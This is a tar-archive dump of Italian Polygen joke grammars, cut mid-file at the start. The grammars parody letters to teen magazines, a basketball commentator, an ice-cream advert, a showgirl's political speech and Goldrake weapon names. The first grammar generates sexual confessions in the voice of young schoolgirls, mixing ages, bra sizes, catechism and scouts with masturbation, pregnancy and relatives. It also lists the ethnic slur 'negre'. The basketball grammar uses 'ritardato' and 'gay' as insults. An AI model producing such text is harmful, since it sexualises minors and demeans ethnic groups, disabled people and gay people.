irrilevante | unto | appiccicoso | irritato | irriverente | abominevole | caustico | tossico | velenoso | a forma di >Ogg ) ; Agg ::= [Troppo] ( ninfomani | cieche | grasse | magre | obese | troie | bambi[^ne] | giovani | vecchie | matte | calve | brufolose | belle | Fighe | Cozze | brutte | basse | alte | rinco | negre | zitelle ) ; Azione ::= far^(S: mi | P: ci | imp: si) crescere il Organo | far venire [subito] un raga[^zzo] | masturbar^( S: mi [con Conosciente.poss.art.(M|F).] | P: ci [con Conosciente.poss.art.(M|F).] | imp: si [con Conosciente.imp.art.(M|F).] ) | mastu[^rbare] Conosciente.imp.art.(M|F). | >( >> andare a letto | fare (( vergin^(S: e | P: i | imp: i) | incint^(S: a | P: e | imp: a) ) | avere un rita[^rdo] di Num (giorni | settimane | mesi | anni) | Non avere [piu'] (figli | bambini | il >(boy | moroso | raga)) ; Ogg ::= spirale | trottola | capra | girandola | muflone | muffetta | "Helder" | vaso da notte | calzascarpe | lavabo | pizzetta | folletto | pinguino "De'Longhi" ; Num ::= Cifra^Cifra ; Cifra ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Ord ::= "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" ; Reggiseno ::= ( prima | seconda | terza | quarta | quinta | sesta | settima | ottava | nona ) [coppa \(a | b | c | d | e | f)] ; Attivita ::= Scuola | danza | ricreazione | Catechismo | scout | pianoforte | equitazione | [mini^]basket | pallavolo | tennis | cricket | squash | [mini^]golf ; (* * presentazioni *) PresentazioniIniziali ::= Presentazioni.1.F [^"," PresentazioniConosciente.(M|F) [^"," PresentazioniConosciente.(M|F)]] ; PresentazioniConosciente ::= [ma] Conosciente.poss.art [invece | al contrario | pero'] Presentazioni.3 ; Presentazioni ::= Presentazione [[^"," Presentazione] e Presentazione] ; Presentazione ::= (1: ho | 3: ha) Num anni | (1: sono | 3: e') alt^(M: o | F: a) (Num cm | 1^"."^Num m) | (1: ho | 3: ha) la Reggiseno [di [reggi^]seno] | (1: ho | 3: ha) (solo una tetta | >(2 | 3 | 4) tette) | port^(1: o | 3: a) (il Num Come taglia | la taglia Num) | (1: sono | 3: e') [Troppo] (poco | ben | sotto^ | iper^) sviluppat^(M: o | F: a) | (1: sono | 3: e') (Troppo | molto | tanto) (magr | grass | obes)^(M: o | F: a) | (1: ho | 3: ha) un Organo AggOrgano ; (* * parenti/amici *) Conosciente ::= M: ( >( ( imp: (da: dal | art: il | di: del | a: al) [proprio] | poss: (da: da | art: _ | di: di | a: a) mio ) >( nonno [paterno | materno] | suocero | papy | cognato | genero | cugi[^no] [di Ord grado] ) | ( imp: (da: dallo | art: lo | di: dello | a: allo) | poss: (da: da | art: _ | di: di | a: a) mio ) zio ) | ( poss: (da: da | art: _ | di: di | a: a) un mio | imp: (da: dal | art: il | di: del | a: al) [proprio] ) >(compagno [di (>Attivita | banco)]) | ( poss: (da: da | art: _ | di: di | a: a) un | imp: ( da: (dall'^ | dal proprio) | art: (l'^ | il proprio) | di: (dell'^ | del proprio) | a: (all'^ | al proprio) ) ) >(ami[^c^(hetto | o)] [del cuore]) | (da: dal | art: il | di: del | a: al) (poss: mio | imp: [proprio]) >(raga[^zzo] | boy[^friend] | cane | coiffeur | dentista | lattaio | giardiniere) ) | F: ( ( poss: (da: da | art: _ | di: di | a: a) mia | imp: (da: dalla | art: la | di: della | a: alla) [propria] ) >( nonna [paterna | materna] | mamy | cognata | suocera | nuora | >([pro^]zia | cugi[^na]) [di Ord grado] ) | ( poss: (da: da | art: _ | di: di | a: a) una mia | imp: (da: dalla | art: la | di: della | a: alla) [propria] ) >(compagna [di (>Attivita | banco)]) | ( poss: (da: da | art: _ | di: di | a: a) un'^ | imp: ( da: (dall'^ | dalla propria) | art: (l'^ | la propria) | di: (dell'^ | della propria) | a: (all'^ | alla propria) ) ) >(ami[^c^(hetta | a)] [del cuore]) | (da: dalla | art: la | di: della | a: alla) (poss: mia | imp: [propria]) >(parrucchiera | vici | gatta | ginecologa | badante) ) ; (* * saluti *) Saluto ::= cara Mag | caro "Dott." Dott | care Amiche | ciao Amiche ; Mag ::= "Top Girl" | "Cioe'" | "Girl Power" | "Teen" | "Marta Flavi" | "Maria De Filippi" | "Alda" ["D'Eusanio"] ; Dott ::= "Willy Pasini" ; Amiche ::= amiche | girls | friends | raga ; polygen-1.0.6.ds2/grm/ita/basket.grm0000644000175000017500000001410010340417034016514 0ustar enricoenricoI ::= "title: "^TELECRONISTA"\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: basket\n" ^ "comment: io odio il giuoco del basket e tutti quelli che lo praticano, specialmente "^NOME COGNOME [detto APPELLATIVO di CITTA]^", nonche' i telecronisti che urlano, come " TELECRONISTA^". Anche se in effetti bisogna dire che Dan Peterson mi sta simpatico. E da quello che ho capito Franco Lauro non urla. Oh beh.\n" ^ "created: 13/04/2004" ; S::= BEGIN WHERE URLO ES TEMPO e SITUAZ ES URLO ES PLAYER AZIONE SEGNO.PU1 FINE ; BEGIN ::= \(amici [sportivi] | amanti della bella pallacanestro | amici estimatori del basket ) SEGNO.V (bentornati | benvenuti | rieccoci qui) a NBA SEGNO.V {TELECRONISTA} {con voi} SEGNO.V ; NBA ::= "NBA" ({\(action | [super^]basket | jam | [\i (love | hate | despise | ^'d like to kill | hangtime | showtime) this] game )})+ ; WHERE ::= (siamo in diretta dal | ci troviamo al | vi parliamo dal | eccoci di nuovo in collegamento dal ) CITTA STADIO e; STADIO ::= \[square | round | big | useless | small | ugly] \(garden | palace | bowl | coliseum); TEMPO ::= mancano ancora NUMERO secondi alla fine dell'ultimo quarto ; ES ::= (SEGNO.ESC^SEGNO.ESC^)+ ^" "; AZIONE ::= AZIONE1 [ES URLO] ES AZIONE2 [ES URLO] [ES IPERBOLE] ES OUTCOME [ES COGNOME] ES COMMENTO ES [SEGNO.PU1 CONG ([NOME] COGNOME |APPELLATIVO di CITTA )AZIONE] ; CONG ::= \(ma attenzione perche' | ecco che | guardate ES | ed ora | ma incredibile ES ) ; AZIONE1 ::= (tenta l' azione personale | solo contro tutti | si smarca | attraversa la difesa | fa fuori COGNOME [che ci resta di sasso | che non crede ai suoi occhi] | prende il volo [sulla fascia | al centro] | passa (la palla | la sfera | la boccia) a [NOME] COGNOME [APPELLATIVO [di CITTA]] ) ; AZIONE2 ::= \(e' libero ES [prosegue ES] [va (al tiro|alla schiacciata) ES] | grandissima azione di COGNOME che va a schiacciare | NOME COGNOME detto APPELLATIVO [di CITTA] continua la (cavalcata | sua corsa) verso il (canestro | cesto) | IPERBOLE [ES IPERBOLE] | grandissima partita di NOME COGNOME detto APPELLATIVO di CITTA [ES \quest'anno per lui ben NUMERO punti SEGNO.V NUMERO rimbalzi e NUMERO assist [ES e scusate se e' poco]] | ma ecco che [NOME] COGNOME va (al tiro | alla schiacciata | verso il cesto) e SEGNO.PU3 OUTCOME | NOME COGNOME sotto al cesto tenta un DUNK ) [ES CONG OUTCOME] ; FINE ::= CONG (la sirena sta per suonare | il tempo sta scadendo | siamo al countdown finale | e' quasi finita la partita ) ES \cinque SEGNO.PU3 \quattro SEGNO.PU3 \tre SEGNO.PU3 \due SEGNO.PU3 (COGNOME (tenta la bomba | al tiro | alla schiacciata) SEGNO.PU3 OUTCOME | \uno SEGNO.PU3 ) ^ES (++\suona la sirena | \pooooooooooo ) ES \e la partita finisce (sul risultato di NUMERO a NUMERO per i (SQUADRA1|SQUADRA2) | vedendo i {SQUADRA1} trionfare sui {SQUADRA2} per NUMERO a NUMERO | con la vittoria dei {SQUADRA1} sui {SQUADRA2} per NUMERO a NUMERO) ES\ grazie a tutti (gli amici [sportivi] | i fan del grande basket | gli amanti della grande pallacesta) SEGNO.V un saluto da TELECRONISTA e (alla prossima settimana | al prossimo mese | a domani | al prossimo anno) con NBA ES; OUTCOME ::= URLO ES \(cesto ES [\[ha eseguito] un DUNK ES] | tabella ES [\ma arriva COGNOME al rimbalzo che (pero' sbaglia | la mette dentro)] | fuori ES [\pessima giornata per i (SQUADRA1|SQUADRA2)] | subisce fallo da [NOME] COGNOME [ES detto APPELLATIVO di CITTA [ES \se l'e' proprio meritato quel soprannome]] ES ); DUNK ::= \(360 | shove^"-"^it [^"-"^to^"-"^the^"-"^boneless] | late | early | axle | dr^"."^LETTERA | dunk | jam | slam | funk | windmill | junk | trunk | toss | hammer | two^"-"^handed ) [^"-"^DUNK] ; LETTERA ::= "A" | "B" | "C" | "D" | "E" | "F" | "G" | "H" | "J" | "K" | "L" | "M" | "N" | "O" | "P" | "Q" | "R" | "S" | "T" | "X" | "Y" | "W" | "Z"; IPERBOLE ::= \(b^(e^)+ll | f^(a^)+ntastic | m^(e^)+raviglios | st^(u^)+pend | gr^(a^)+ndissim | (o^)+nanistic | f^(a^)+llic )([(^issim|^errim)+]^o); TELECRONISTA := \dan \peterson | \guido \bagatta | \roberto \martini | \franco \lauro ; COMMENTO ::= \(che partita [SEGNO.V (ragazzi| amici [sportivi])] | la gente per strada mi fermera' dicendo ^" " SEGNO.VT ^ehi TELECRONISTA SEGNO.V e' stata una grande partita quella tra i SQUADRA1 ed i SQUADRA2 SEGNO.VT [ e io diro' ^" " SEGNO.VT^eh si' SEGNO.VT ] [e potrete dire con me ^" " SEGNO.VT^ io c'ero SEGNO.VT ]| questo SEGNO.V "QUESTO" SEGNO.V e' basket spetta^(a^)+colo [e sfido chiunque a dirmi di no] | questa SEGNO.V amici SEGNO.V e' una partita che rimarra' (nella storia | negli annali | nel manuale) del gr^(a^)+nde basket | amici [sportivi] SEGNO.V questo giuocatore [spesso] tira fuori [dai calzoncini] qualcosa di IPERBOLE ); SITUAZ ::= (i SQUADRA1 stanno battendo i SQUADRA2 per NUMERO a NUMERO) | (i SQUADRA1 stanno sopra di NUMERO) ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^"\n\n"^\ | PU2: ^":"\ | PU3: ^"..."\ | V: ^"," | VT: ^"\""\ | ESC: ^"!"\ ); URLO ::= \((u^)+(u^)+(u^)+h | (a^)+(a^)+(a^)+h | (a^)+ttenzione) [ES URLO2]; URLO2 ::= \( bbbum [ES \sciaca laca] | (a^)+lley (o^)+op | from d^(o^)+wnt^(o^)+wn | (i^)+s on f^(i^)+re ); PLAYER ::= [NOME] COGNOME; NOME ::= \(john | calogero | michael | shaquille | magic | mobuto | abdul | pasquale | phil | charles | oswald | ivan ); COGNOME ::= \[(o'|mc)^\](smerding | jordan | mobutu | salam | helder | nihilism | manta | vision | zeff | calogero | esposito ); NUMERO ::= CIFRA^CIFRA[^CIFRA]; CIFRA ::= "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" ; SQUADRA1 := CITTA ANIMALE ; SQUADRA2 := CITTA ANIMALE ; CITTA ::= \(chicago | detroit | washington | los \angeles | toronto | san \antonio | new \york | seattle ); ANIMALE ::= \( frogs | cows | pigs | assholes | idiots | monkeys | camels | bulls[^hit] ); APPELLATIVO ::= \( l'\anguilla | il \cane | il \lupo | il \rutto | la \motosega | il \folle | il \cecchino | il \deficiente | l'\onanista | il \cretino | il \ritardato | lo \squalo | il \gay ); polygen-1.0.6.ds2/grm/ita/cavallogoloso.grm0000644000175000017500000001053110340417034020113 0ustar enricoenricoI ::= "title: Cavallo Goloso\n" ^ "author: Vision-X <vision-x@vision-x.it>" (und | y | et | e | atque | and |"&") "CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: embryonic\n" ^ "topic: the dadaistic golem of advertisement\n" ^ "disclaim: grammatica realizzata con" Qualita"\n" ^ "disclaim2: nessun" Cavallo"e' stato maltrattato durante la realizzazione di questa grammatica\n" ^ "comment: porgiamo le nostre sentite condoglianze e siamo solidali con" Destinazione "per l'imminente visita del bambino" {snob} e {rompicoglioni} ^"\n" ^ "bugfix: e il gusto pizzette l'ho aggiunto io -Manta\n" ^ "created: 15/09/2004" ; S ::= DELFCUR | CAVGOL ; DELFCUR ::= [Nome^"!!!"] \sai^"," tra poco parto per Destinazione^("..."|"!"|".")\ ma sto via solo N^N Tempo^("..."|"!"|".")^"\n"^"Ma cosa fai?" "\n"^\Cavallo Goloso "!!!"; CAVGOL ::= \sai^"," ci vuole piu' Qualita^("..."|"!"|".")\ ma tu non mi stai Ascoltando^("..."|"!"|".")^"\n"^ \Gusto^"," Gusto^"," Gusto^("..."|"!"|".")\ la mia "Dufour" preferita^"!" "\n"^\Cavallo Goloso "!!!"; Nome ::= \(ulisse | ubaldo | umberto | viscardo | franco | nasturzio | bortolo | alfredo | ettore | achille | helder) ; Gusto ::= fragola | limone | cavolo | pesca | arancia | ananas | papaia | mandarino | cocco | banana | tiramisu' | profiterol | puffo | vaniglia | amarena | taleggio | salsiccia | parmigiano^"-"^reggiano | pecorino | ----merda | prosciutto | coppa | pancetta | kebab | castrato | tigella | gnocco fritto | pesto | ragu' | rum | tequila | lardo | trippa | caldarroste | fagioli | piscio | gorogonzola | caciotta | emmenthal | brie | cetriolo | verza | radicchio | rucola | (sfilacci | tagliata | costicine | costolette | salsicce) di Cavallo | cuscus | -carne umana | pizzette ; Ascoltando ::= ascoltando | guardando | pensando | cagando | sentendo | parlando ; Qualita ::= +grinta | forza | umilta' | giustezza | gusto | simpatia | gagliardezza | intelligenza | cattiveria | antipatia | bonta' | simpatia | destrezza | resistenza | diffidenza | incontinenza | qualunquismo | doppiopesismo | cerchiobottismo | impegno ; Cavallo ::= cavallo | pesce | istrice | gatto | ingollatore | delfino | squalomartello | bruco | drago [di komodo] | pipistrello | maiale | porco | lama | gnu | leone | bufalo | cavalluccio marino | anemone | riccio di mare | calamaro | bisonte | tafano | camaleonte | varano | ramarro | caimano | capitone | uccello | struzzo | alligatore | coccodrillo | sparviero | fenicottero | panda | scorpioncino | verme | ornitorinco | koala | vombato | rinoceronte | squalotigre | pavone | doberman | bradipo | montone | boa | fagiano | coniglio | bue | --capro espiatorio | macaco | orango | rinoceronte | pollo | cane | gatto | cinghiale | bradipo | ermellino | dinosauro | gerbillo | criceto | ratto | topo | piccione | ragnetto | serpentello | canguro ; Goloso ::= lebbroso | coccoloso | palloso | argilloso | villoso | ampolloso | miracoloso | spettacoloso | pericoloso | doloso | freddoloso | goloso | spigoloso | angoloso | piagnoloso | popoloso | scrupoloso | pustoloso | frettoloso | favoloso | esploso | nebuloso | pericoloso | famoso | bramoso | animoso | lagrimoso | fumoso | membranoso | velenoso | penoso | venoso | sdegnoso | disdegnoso | ingegnoso | contegnoso | tignoso | vergognoso | rognoso | bisognoso | immaginoso | piovigginoso | vertiginoso | macchinoso | collinoso | peccaminoso | criminoso | verminoso | luminoso | voluminoso | spinoso | sanguinoso | rovinoso | dannoso | affannoso | malinconoso | carnoso | cavernoso | accidioso | gaudioso | glorioso | lezioso | grazioso | curioso | [s]^[pata]^puffoloso | coccoloso | strufoloso | fiocchettoso | teneroso | caroso ; Destinazione ::= "l'Iraq" | "la Dalmazia" | "I territori del nord-ovest" | "il Congo" | "la Libia" | "la Kamchatka" | "la Jacuzia" | "la Cita" | "gli Urali" | "la Mongolia" | "il Siam" | "l'Africa Orientale" | "l'Eritrea" | "il Tuvalu" | "Timor-Est" | "Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch (Galles)" | "l'Isola di Pasqua" | "l'Isola d'Elba" | "Sant'Elena" | "Chernobyl" | "Hiroshima" | "Nagasaki" | "Mururoa" | "l'atollo di Bikini" | "le isole Falkland" | "lo Sri Lanka" | "il Tibet" | "il Nepal" | "il Triangolo delle Bermuda" ; Tempo ::= anni | mesi | settimane | giorni ; N ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ;polygen-1.0.6.ds2/grm/ita/flavia.grm0000644000175000017500000001725510340417034016523 0ustar enricoenricoI ::= "title: Discorso di Flavia Vento ormai lanciatissima in politica\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: extremely deep thoughts\n" ^ "audience: anybody\n" ^ "question:"[ma] che [cavolo] succede Luogo.IN ^"?\n" ^ "note: l'originale si trova qui\n" ^ "quote: \"Io devo ancora capire se la Vento ci e' o ci fa. Certo che due botte gliele darei comunque.\" (A. Veronesi)" ; S::= [Puglia] Intro Stronzate [(Epoi Stronzate)+] ; Stronzate ::= (Politica [Ritagli] | Droga | Guerra | Cani) {[InizioProposta] Proposta} {Motivazioni} [Filosofia] ({Interiezione} [{Interruzione}]) ; Intro ::= \[(eeeh SEGNO.(V|PP))| Risata ] (ultimamente | Avverbio) il mio rapporto con la politica si e' ampliato (tantissimo | Avverbio) SEGNO.V [soprattutto dopo l'11 (settembre | marzo)] io seguo Avverbio i teleggiornali SEGNO.PU2 ogni ggiorno mi vedo (Tiggi SEGNO.V)+ e Tiggi SEGNO.V quindi SEGNO.PP Avverbio SEGNO.PP [Risata] quindi [devo dire che] mi piace (molto | Avverbio) la politica SEGNO.PUE [Interruzione] allora SEGNO.V innanzitutto ; Puglia ::= \innanzitutto sono (molto | Avverbio) contenta di essere qui oggi SEGNO.V in un posto bellissimo come Luogo.S (SEGNO.(PU3|PUE) | SEGNO.PU2 ci torno sempre molto volentieri SEGNO.PU3) ; Luogo ::= >((S:la | IN: (in|nella) | FROM: dalla) (\puglia | \kamchatka | \jacuzia | \cita | \citta' del \vaticano | \repubblica di \san \marino ) | (S:_ | IN: a | FROM: da) ("Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch (Galles)" | \vergate sul \membro | \abbiategrasso | \cinisello \balsamo | \crespellano) | (S:l'^ | IN: in | FROM: dall'^) ( \irak | \alberta )) ; Tiggi ::= >> ((ti^(g^)+^i^(uno | due | tre | quattro | cinque | sei | sette | otto | nove | die^[s]^ci | undi^[s]^ci | dodi^[s]^ci | tredi^[s]^ci )) | -------"Studio Aperto" | ------------"Striscia la Notizia" | -------------------"Veline") << ; Epoi ::= e poi SEGNO.V un'altra informazione che volevo dare SEGNO.V visto che qua sono Giovani sicuramente della mia eta' SEGNO.PP | eppoi SEGNO.(V|PP) uhm SEGNO.(PP|V) ecco SEGNO.(PP|V) io metterei anche la mia faccia per SEGNO.(PP|V) per degli ideali SEGNO.(PP|V) che sono SEGNO.(PP|V) appunto SEGNO.(PP|V) | eppoi SEGNO.PP [io sono SEGNO.PP] ; Politica ::= il rapporto dei giovani con la politica credo che sia (molto | Avverbio) in difficolta' SEGNO.PU2 ; Interruzione ::= (scusate SEGNO.V (se potete alzare il | e' veramente di cattivo gusto SEGNO.V questo ) (fruscio | silenzio) SEGNO.V [perche' non e' carino che ridete cosi' SEGNO.PUE] \grazie SEGNO.V eh ) SEGNO.PUE ; Droga ::= [contro] la droga SEGNO.PP Avverbio credo che la droga (sia | e') una cosa Avverbio SEGNO.PP Condanna SEGNO.PP so che i Giovani [sono [Avverbio] influenzati da persone piu' grandi SEGNO.V che [Avverbio]] [il sa^(b^)+ato sera] in discoteca {prendono extasy} o {si drogano} SEGNO.(PUE | PP | PU3) ; Guerra ::= la guerra SEGNO.(PU3 | PP) io sono Avverbio (--per | ++contro) la (++guerra | --pace) SEGNO.PU3 credo che quello che sta succedendo Luogo.IN (SEGNO.PP ecco SEGNO.PP Sbagliato | sia una cosa Condanna ) SEGNO.(PUE | PP |PU3); Cani ::= amo molto gli animali SEGNO.PP [Interruzione] ehm SEGNO.PP so che in \italia ci sono molti combattimenti di animali SEGNO.PP di cani SEGNO.PP (Sbagliato | e questa e' una cosa che per me e' SEGNO.PP [ecco SEGNO.PP] Condanna ) SEGNO.(PUE | PP |PU3); InizioProposta ::= (quindi io (credo | -penso) che (b^)+isognere^(b^)+e SEGNO.PP [appunto SEGNO.(V|PP)] [come diceva la SEGNO.PP si' SEGNO.V \bruna [SEGNO.V Risata] ] [SEGNO.PP credo che Avverbio (b^)+isognere^(b^)+e] SEGNO.PP) | quindi SEGNO.V la prima cosa che (b^)+isognere^(b^)+e esserci in \italia e' SEGNO.PP nel | [e] quindi [SEGNO.V Avverbio] SEGNO.PU2 ; Proposta ::= ({fare un' ora a scuola di politica} SEGNO.PU2 {insegnare ai Giovani la politica a scuola} SEGNO.(PU3|PP) [anche un'ora SEGNO.PU2 per sapere com'e' nata la politica [SEGNO.V com'e' la storia della politica] SEGNO.PP] | levare su^(b^)+ito le truppe Luogo.FROM SEGNO.PU3 e un'altra SEGNO.PP | Avverbio SEGNO.V un no (contro la | alla | per la | della ) droga | una legge [Avverbio] piu' severa (nei confronti degli | contro gli | agli) animali) SEGNO.(PU3|PP); Filosofia ::= (speriamo che le prossime elezioni non vinca \bush SEGNO.V perche' senno' staremo altri quattro anni nel terrore SEGNO.PUE| io SEGNO.PP tengo molto ai cani SEGNO.V [soprattutto SEGNO.V faccio volontariato nei canili SEGNO.PP] e credo sia molto importante salvaguardare SEGNO.V appunto SEGNO.PP gli animali SEGNO.(PU3|PP)| allora SEGNO.V un ragazzo di Eta anni SEGNO.V Avverbio SEGNO.V "" SEGNO.VT ^Nonhocapito^ SEGNO.VT "" non sa cosa SEGNO.PP che cosa vuol dire SEGNO.PP [Risata] ["" SEGNO.VT ^(l'allarme della \quercia | Nonhocapito)^ SEGNO.VT "" neanche SEGNO.V] quindi Avverbio si va a leggere la pagina Pagina SEGNO.(PU3|PP) ) Risata [Sbagliato SEGNO.PP]; Eta ::= (dodi | tredi | ++++quattordi | quindi | sedi )^[s]^ci | ventuno | ventidue | ventitre | ventiquattro | trentuno | quarantadue | cinquantatre | sessantaquattro | settantacinque | ottantasei | novantasette; Risata ::= ( heheheh SEGNO.PUE | hihihi SEGNO.PUE | heh SEGNO.PUE ); Condanna ::= triste | stupida | che Avverbio non ci dovrebbe essere SEGNO.PP piu' ; Sbagliato ::= questo credo sia Avverbio sba^(gli|j)^ato | questa per me e' una cosa Avverbio Condanna ; Interiezione ::= \(eeh SEGNO.PP quindi sono molto contenta | questo volevo dire [SEGNO.V grazie] | e quindi credo che questo sia una cosa SEGNO.PP 'nsomma SEGNO.V che servire^(b^)+e [Avverbio] ai Giovani ) SEGNO.(PUE|PU3) ; Avverbio ::= sicuramente | chiaramente | +veramente | assolutamente | -praticamente | -totalmente; Giovani ::= (g^)+^iovani ; Motto ::= +++++++ porgi l'altra guancia | non guardare alla pagliuzza nell'occhio altrui ma bada alla trave che sta nel tuo | meglio un uovo oggi che una gallina domani | il lavoro rende liberi | molti nemici molto onore | la religione e' l'oppio dei popoli | meno tasse per tutti | un morto e' una tragedia SEGNO.V un milione di morti sono una statistica ; Pagina ::= +++sportiva | di giardinaggio | del cruciverba | delle ricette | pornografica | economica | degli annunci; Nonhocapito ::= primarie | allarme | della | quercia | fassino | veltroni | prodi | leader | ma | niente | gi^[u]^ochetti | serve | un | vertice ; Motivazioni ::= e credo che l'\italia e' un popolo cattolico [SEGNO.V un popolo che crede nella \chiesa SEGNO.V] e allora [se crediamo nella \chiesa SEGNO.V] la \bi^(b^)+ia dice che SEGNO.PP ehm SEGNO.PP Avverbio SEGNO.PP ^"\""^Motto^"\""^ [SEGNO.PU2 quindi SEGNO.V Avverbio SEGNO.V io non credo nella vendetta e nell'odio] SEGNO.(PP|PU3) | perche' veramente (gli animali | i cani) sono i migliori amici dell'uomo SEGNO.PP | perche' SEGNO.PP la vita e' una e bisogna gestirla al meglio SEGNO.PP | questo perche' SEGNO.V Avverbio [SEGNO.V leggendo il quotidiano SEGNO.V] diversi titoli sono fatti [in maniera] illeggi^(b^)+ile per (un ragazzo | i Giovani) [di Eta anni] SEGNO.V che Avverbio passa alla paggina Pagina SEGNO.V piuttosto che leggere SEGNO.PP ; Ritagli ::= io mi sono presa (dei | armi e) ritagli SEGNO.PP \ecco SEGNO.V ad esempio [SEGNO.V questo titolo] SEGNO.PU2 "" SEGNO.VT^\primarie SEGNO.PU2 l'allarmo SEGNO.PP l'allarme della \quercia [SEGNO.PU3 "Fassino e Veltroni: Prodi leader, ma niente giochetti, serve un vertice"]^"\"" SEGNO.PU3; SEGNO ::= (PP: ^"..."^ |PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | PUE: ^"!"\ | PUI: ^"?"\ | V: ^"," | VT: ^"\""\ );polygen-1.0.6.ds2/grm/ita/uforobot.grm0000644000175000017500000001154410340417034017113 0ustar enricoenricoI ::= "title: Le armi di Goldrake\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "voice: Actarus\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: cartoons\n" ^ "theme: " ^ ( "Vai! Contro i mostri lanciati da Vega!" "Vai!"\ ( +che il tuo cuore nessuno lo piega | che il nemico non vale una sega | altrimenti chiudiamo bottega | il tuo corpo d'acciaio solleva) ^"!!!" | "Quando schiaccia un pulsante magico" "lui diventa" ( un iper ^ (++galattico|teso|mercato|catartico) | un imper ^ (meabile|cettibile|scrutabile) | un epilettico) ^"," "lotta per l'umanita'!!!" | "Tra le stelle" (+sprinta|strilla) "e va!!!" | "Lui respira nell'aria" (++cosmica|tossica) "e' un" (++miracolo|pinnacolo|foruncolo) "di elettronica," ma un (+cuore|odore|sudore) umano "ha!" | "Mille" (+armi|allarmi) "tu hai! Non" (++arrenderti|riaccenderti|fraintederci) mai "perche' il bene tu sei, sei con noi!!!" | "Vaaaaaaaa! Distruggi" (il >(+male|mare) ^ ", va!" | "i taleban!") ) ^"\n" ^ "created: 04/09/2004" ; S ::= Big ( >(+"ALABARDA"|"TRIVELLA") Spaziale EEE | >(+ Alabarda | Trivella ) "SPAZIALE" EEE | +"MAGLIO" Perforant.E EEE | + Maglio "PERFORANTE" EEE | +"LAME" (Rotant.I|Perforant.I) III | + (Lama "ROTANT" EEII).(E|I) | (Arma Fotonica).(O|A|I|E) | --- "RAGGI" Laser | --- (Raggi (O:^"O"|I:_) (O:"FOTONICO"|I:("FOTONICI"|"GAMMA"))).(O|++++I) ) ^ "!!!" (^"!!")+ ChiudiBig ; Big ::= "\n" ; ChiudiBig ::= "\n" ; Alabarda ::= +++ "INFINGARDA" | ++ "ALABAMA" | + "BOMBARDA" | + "COCCARDA" | + "MANSARDA" | "MOSTARDA" | "ANACONDA" | "SPARACIALDA" | --"C'HO LA BARBA" ; Trivella ::= +++"LIVELLA" | ++"MANOVELLA" | ++"GIRELLA" | +"RONDELLA" | +"CAPPELLA" | "BRETELLA" | "MAMMELLA" | "SCODELLA" | "TETTARELLA" | "TREMARELLA" | "BESCIAMELLA" ; Spaziale ::= "SPAZIALE" | -"DEMENZIALE" | ---"ESISTENZIALE" | "NUZIALE" | "A SPIRALE" | "LABIALE" | "FACCIALE" | ---"RADIALE" | "COASSIALE" | "BESTIALE" | "FISCALE" | "STRADALE" | ---"PAPALE" | "NASALE" ; Perforant ::= ( "PERFORANT" | "'GNORANT" | "MALEODORANT" | "FOLGORANT" | "PERFORMANT" | "ACCECANT" | "FLUIDIFICANT" | "LUBRIFICANT" ) EI ; Maglio ::= +++"FERMAGLIO" | +++"AGLIO" | +++"CONGUAGLIO" | +++"CALZAMAGLIA" | +"CIANFRUSAGLIA" | "VAGLIA" | "BOCCAGLIO" | "PENDAGLIO" | "BAGAGLIO" | "VENTAGLIO" | "GUINZAGLIO" | "TENAGLIA" | "FERRAGLIA" | "VESTAGLIA" | "SONAGLIO" | --"ECOSCANDAGLIO" | "TOVAGLIA" ; Rotant ::= ( "ROTANT" | ++"ARROTANT" | ++"IRRITANT" | +"VOLANT" | +"TONANT" | "ROMBANT" | "RONZANT" | "TRACOTANT" | "INQUIETANT" | "RIDONDANT" | "RIMBOMBANT" | "ARROGANT" | "GIGANT") EI ; Lama ::= (E: "BI-LAMA" | I: "PUTTANE") | (E: "DALAI-LAMA" | I: "RANE" ) | (E: "PIGIAMA" | I: "TEGAMI") | (E: "CERUME" | I: "LEGUMI" ) | "SALAM" EI ; Arma ::= O: >( "PUGNO" | "SCALDAPIZZETTE" | "LAMPO" | "MAGLIO" | "DISINTEGRATORE" | "MISSILE" | "RAZZO" | "SPARAMERDA" | ---"SPARGILETAME" | "RAGGIO" | "TUONO" | ---"CAZZOTTO" | ---"SGANASSONE" | ---"CALCIO IN CULO" ) | A: >( "ALABARDA" | "TRIVELLA" | "BOMBA" | "SPADA" | -"RONCOLA" | ---"SCAZZOTTATA" | -"MAZZA"[^"TA"] ) | I: >( "PUGNI" | "DISINTEGRATORI" | "MISSIL" [^ "ETT"] ^"I" | "RAGGI" | "RAZZI" | "SCUDI"| -----"LIBRI DI CIBERNETICA" | ---"CALCI NEL CULO" ) | E: >( "BRACCIA" | -----"INSALATE DI MATEMATICA" | "BOMBE" ) ; Fotonica ::= >( ++++"FOTONIC" | ++"CICLONIC" | "DIABOLIC" | "ATOMIC" | "GALATTIC" | "TERMIC" | -"FOTOVOLTAIC" | --"SUPERSONIC" ) OOAAHEEII | "DI FUOCO" OOO | "D'ACCIAIO" OOO | "DI MILLE VALVOLE" EEE | >( -"DIROMPENT" | "PERFORANT" | "ACCECANT" | "ASSORDANT" | "ROTANT" | "FINAL" | ++"SPAZIAL" | "VOLANT" | "TONANT" | ----["TERMO"^]"NUCLEAR" | ---"ANAL" ) IIEE ; Laser ::= "LASER" (_|--"CHE SEMBRAN FULMINI" III) | "GAMMA" | "LARSEN" | "WAFER" | "FOTONICI" | "CICLONICI" | "DALTONICI" | "SUPERSONICI" ; Raggi ::= "TRINCIAFORAGGI" | "MIRAGGI" | "AMMARAGGI" | "ARBITRAGGI" | "PESTAGGI" | "PLACCAGGI" | "TENDAGGI" | "SONDAGGI" | "SCARAFAGGI" | "LINCIAGGI" ; OOAAHEEII ::= ^ (O: "O" OOO | A: "A" AAA | E: "HE" EEE | I: "I" III) ; IIEE ::= ^ (O: "E" EEE | A: "E" EEE | E: "I" III | I: "I" III) 